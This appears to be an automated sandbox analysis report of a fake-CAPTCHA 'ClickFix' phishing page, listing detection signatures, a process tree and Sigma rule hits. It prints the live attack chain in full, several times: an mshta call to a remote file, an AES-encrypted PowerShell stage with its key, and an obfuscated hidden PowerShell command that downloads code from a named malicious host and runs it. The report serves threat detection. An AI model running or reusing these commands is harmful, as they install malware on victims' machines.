Edit tour

Windows Analysis Report
https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html

Overview

General Information

Sample URL:	https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html
Analysis ID:	1576728
Infos:

Detection

CAPTCHA Scam ClickFix

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detect drive by download via clipboard copy & paste

Yara detected CAPTCHA Scam ClickFix

AI detected suspicious Javascript

Bypasses PowerShell execution policy

Phishing site or detected (based on various text indicators)

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 2040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 2896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1952,i,13847043341511514745,6365899462331113190,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

svchost.exe (PID: 6812 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

mshta.exe (PID: 7540 cmdline: "C:\Windows\system32\mshta.exe" https://buck1st.oss-ap-southeast-5.aliyuncs.com/dir/five/singl5.mp4 # ? ''I am not a robot - reCAPTCHA Verification ID: 2165 MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 7672 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B84AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3CBEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F42F1BDB1647AE265EE40DB6EA03BF208EC0BEBA30323BD6C0B70831D2B38D731EFFAD78542C4EABBAD018D4C4961A33BFE64FCE19A7A32FFFE11B5546FE5CDBBAC3CC98C6732C33E3FC4E9C2E5CF4D286F46C0177D1DA587C181B150AEB6DADD16088E8E6A7EF28C48DBD5DB1310A529649CC353745FA37C8FC6452BA0A4B96D968759B7A933855A01620521A214837665E4B412439426AB4D4340D9359A7682700D9377F8F87C2A66973D8ABCCB69C31AA423AA9D56267030CF65A02F5EC1A9D7B5FC843596EE0B370090C6BB32049115ACE07911CFC47DCD56C9FF330CB4C6A137BFC1448E3DECF543DCBD2224FDE0672DBD933D1D0AAB7786B18447E4F3F8ABA4978D2903D3B71726DCE481F3CEDA39039F139CE4C8AC75C520196D60C390FC1E89C52B112793012C2DDECBD2DBCE401BF89DCDDB736F9BAA944CE55707064387F2111FB1F5BD264830D99791B7F46112BAA8DE94D944C9B9D53868404244E13E014683826DDADDA2476DD844436A750802BA907DE75E352D3D15390B622675C7670DB200028ED3A02FB216CFAB39F33E0EE2D5300AC8C88D68C04EDBD917922D6987F178310C32DFE6D1490CC9F0B3E228EA4B8DF07CA51FF3938A742E4F13B675D6606FB7BCF0365CD39D830A0933BB2AC68210E57D7895F152CFD80352E37F5A97CEED6B0622914F5EB167A270B7EB183FB4712B46B6A1AB0905E12489E912EC35C51B2ABB8AAAE7DBDAA3D2793CB994287BCC9BA4A73380659400AE691877C21E81D');$aajRk=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((ngyV('4761615654535775414A617647426453')),[byte[]]::new(16)).TransformFinalBlock($edQG,0,$edQG.Length)); & $aajRk.Substring(0,3) $aajRk.Substring(187) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7844 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('Ne*ct',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('In*-Ex*ion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value|Get-Member)|Where-Object{(Get-Variable _).Value.Name-ilike'*nl*a'}).Name).Invoke((GCI Variable:\s).Value)|ForEach{(Get-Item Variable:/_).Value-As'Char'})))) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_93	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

HTML

Source	Rule	Description	Author	Strings
1.0.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B84AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3CBEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F42F1BDB1647AE265EE40DB6EA03BF208EC0BEBA30323

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('Ne*ct',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('In*-Ex*ion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value|Get-Member)|Where-Object{(Get-Variable _).Value.Name-ilike'*nl*a'}).Name).Invoke((GCI Variable:\s).Value)|ForEach{(Get-Item Variable:/_).Value-As'Char'})))) , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('Ne*ct',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('In*-Ex*ion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value|Get-Member)|Where-Object{(Get-Variable _).Value.Name-ilike'*nl*a'}).Name).Invoke((GCI Variable:\s).Value)|ForEach{(Get-Item Variable:/_).Value-As'Char'})))) , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695F

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B84AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3CBEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F42F1BDB1647AE265EE40DB6EA03BF208EC0BEBA30323

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('Ne*ct',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('In*-Ex*ion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value|Get-Member)|Where-Object{(Get-Variable _).Value.Name-ilike'*nl*a'}).Name).Invoke((GCI Variable:\s).Value)|ForEach{(Get-Item Variable:/_).Value-As'Char'})))) , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('Ne*ct',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('In*-Ex*ion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value|Get-Member)|Where-Object{(Get-Variable _).Value.Name-ilike'*nl*a'}).Name).Invoke((GCI Variable:\s).Value)|ForEach{(Get-Item Variable:/_).Value-As'Char'})))) , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695F

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B84AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3C